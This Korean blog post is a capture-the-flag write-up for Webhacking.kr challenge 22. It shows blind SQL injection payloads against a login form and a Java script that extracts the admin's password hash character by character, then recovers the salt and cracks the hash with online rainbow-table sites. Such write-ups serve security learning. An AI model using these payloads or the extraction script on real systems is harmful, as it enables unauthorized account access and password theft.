본문 바로가기
[웹해킹]

[Webhacking.kr] 22번

by Hevton 2020. 10. 2.
반응형

이전 21번 문제와 아주 유사한 문제다.

 

Join을 통해

id : hevton

pw : 1234

 

로 회원가입을 해주고, 로그인을 해보면

이런 창이 뜬다. 32자리 16진수인걸 보니 md5 해싱값임을 유추할 수 있고, md5 형태로 비밀번호가 저장됨을 있다.

 

그리고 내가 입력한 비밀번호 1234를 md5 해싱 사이트에서 해싱해보면

coding.tools/kr/md5

 

MD5 암호화 온라인 도구 - 𝗖𝗼𝗱𝗶𝗻𝗴.𝗧𝗼𝗼𝗹𝘀

이 MD5 암호화 온라인 도구는 입력 문자열을 고정 된 128 비트 MD5 문자열로 암호화하는 데 유용합니다.

coding.tools

81dc9bdb52d04dc20036dbd8313ed055 가 나오며, 저 값과는 다르다는 것을 알 수 있다.

따라서 해싱 시에 솔트값을 넣어 해싱한다는 것을 알 수 있다. 일단 이 부분에 대해서는 여기까지만 하고,

 

id: hevton, pw: 1234 가 참인 상태에서, SQL 문들을 다양하게 넣어보며 쿼리를 실행해본다.

 

1.

hevton’ and 1=1#

123

-> wrong password

 

2.

hevton’ and 1=2#

123

-> login fail

 

3.

hevton’ and 1=1#

1234

-> 로그인됌

 

4.

hevton

1234

-> 로그인됌

 

5.

hevton

1213

-> login fail

 

위 결과를 토대로

쿼리문 참일 때 wrong password, 쿼리문 거짓일때 login fail.

쿼리문 참이면서 pw로 입력한 값이 비밀번호 값일 때 -> 로그인 되는 방식임을 알 수 있다.

 

즉, 아마 이전문제도 그렇고 쿼리문이 참이여도 pw값을 따로 검사하는듯 하다.

 

 

일단 확인차, 비밀번호가 데이터베이스에 md5 해싱상태로 저장되어있는지 확인해보자.

hevton' and length(pw)=32#

1234

-> 로그인됌

따라서 비밀번호가 md5해싱되어 저장되어있는것은 확실히 알 수 있다.

 

그럼 admin의 md5 해싱값을 알아보자. 여기서 여태까지 문제와는 조금 다른 점은,

데이터 전달 방식이 get 방식이 아닌 post 방식이기 떄문에 데이터가 어떻게 전달되는지 육안으로 확인해볼 수 없어서

BurpSuite를 활용하여 데이터 전달 방식을 확인했고, 아래 방식을 자바로 프로그래밍 해서 돌렸다.

 

방식>

admin의 비밀번호가 1234가 아니니

admin' and ascii(substr(pw, 1, 1))=65#

1234

wrong password 나올 까지 돌려보면댐.

 

코드>

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class httppost {
    public static void main(String args[]) throws Exception{
        for(int i =1; i < 33; i ++) {

            for (int j = 48; j < 123; j++) {
                URL url = new URL("https://webhacking.kr/challenge/bonus-2/index.php");
                HttpURLConnection hc = (HttpURLConnection) url.openConnection();

                hc.addRequestProperty("Cookie", "PHPSESSID=본인세션");
                hc.addRequestProperty("Content-Type", "application/x-www-form-urlencoded");
                hc.setRequestMethod("POST");
                hc.setDoInput(true);
                hc.setDoOutput(true);

                String param = "uuid=admin%27+and+ascii%28substr%28pw%2C+"+i+"%2C+1%29%29%3D"+j+"%23&pw=1234";

                OutputStream opstraem = hc.getOutputStream();
                opstraem.write(param.getBytes());
                opstraem.flush();
                opstraem.close();

                StringBuilder sb = new StringBuilder();
                BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
                String s;
                while ((s = br.readLine()) != null)
                    sb.append(s);

                if (sb.indexOf("Wrong password!") != -1) {
                    System.out.print(String.format("%c", j));
                }
            }
        }

    }
}

 

그럼 해시값으로 6c9ca386a903921d7fa230ffa0ffc153 가 나온다. 이것이 테이블에 저장되어 있는 admin의 비밀번호 md5값이다.

 

이제, 레인보우 테이블 기반의 해독기능을 가진 사이트들을 선택하여 이 값을 넣어보면 문제가 풀린다.

사이트 마다 가진 테이블이 다르다 보니 여기저기 해보는 것이 좋긴 할 것이다.

 

일단 위에서 언급했듯 해당 해싱 도중 salt값의 첨가가 있다는 것을 알았으니, salt값을 우선 알아내보자.

 

회원가입 시에, 비밀번호가 없는 계정으로 회원가입을 해 봤고, 로그인했을 때

1f3870be274f6c49b3e31a0c6728957f 해시값을 얻었다.

 

그리고 이 값을 아래 사이트에서 크랙해봤다.

https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

apple이라는 값이 나온다. 이 값이 salt 값인 것이다.

 

그리고 1234apple을 md5했을 때, 문제에서 주어지는 내 md5값과 동일함을 알 수 있었다.

 

즉, $salt . $pw 식으로 salt값을 넣어서 md5 해싱하는 것이다.(php의 문자열 덧셈 문법임)

 

그리고 salt값을 넣을 있는 md5 레인보우테이블 사이트에서 해독을 시도했다.

www.dcode.fr/md5-hash

 

MD5 (+Salt) Decrypter - Password Hash Cipher - Decoder, Encoder

Tool to decrypt/encrypt MD5 automatically. MD5 hash of a data is a footprint of 32 characters which can identify the initial data. Hash functions are used in computers and cryptography.

www.dcode.fr

그랬더니 결과로 wow가 나왔다. 이 값이 admin의 비밀번호 인 것이다.

이 문제는 해싱 도중 salt값의 첨가가 있다는 사실을 인지하는 것이 매우 중요하다.

 

 

 

▶︎참고

또다른 레인보우 테이블 기반 사이트 ( 위의 두 사이트보다 레인보우 테이블 성능이 더 좋은듯 싶다 )

https://hashes.com/en/decrypt/hash

 

Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512, Wordpress, Bcrypt hashes for free online

Hashes.com is a hash lookup service. This allows you to input an MD5, SHA-1, Vbulletin, Invision Power Board, MyBB, Bcrypt, Wordpress, SHA-256, SHA-512, MYSQL5 etc hash and search for its corresponding plaintext ("found") in our database of already-cracked

hashes.com

 

반응형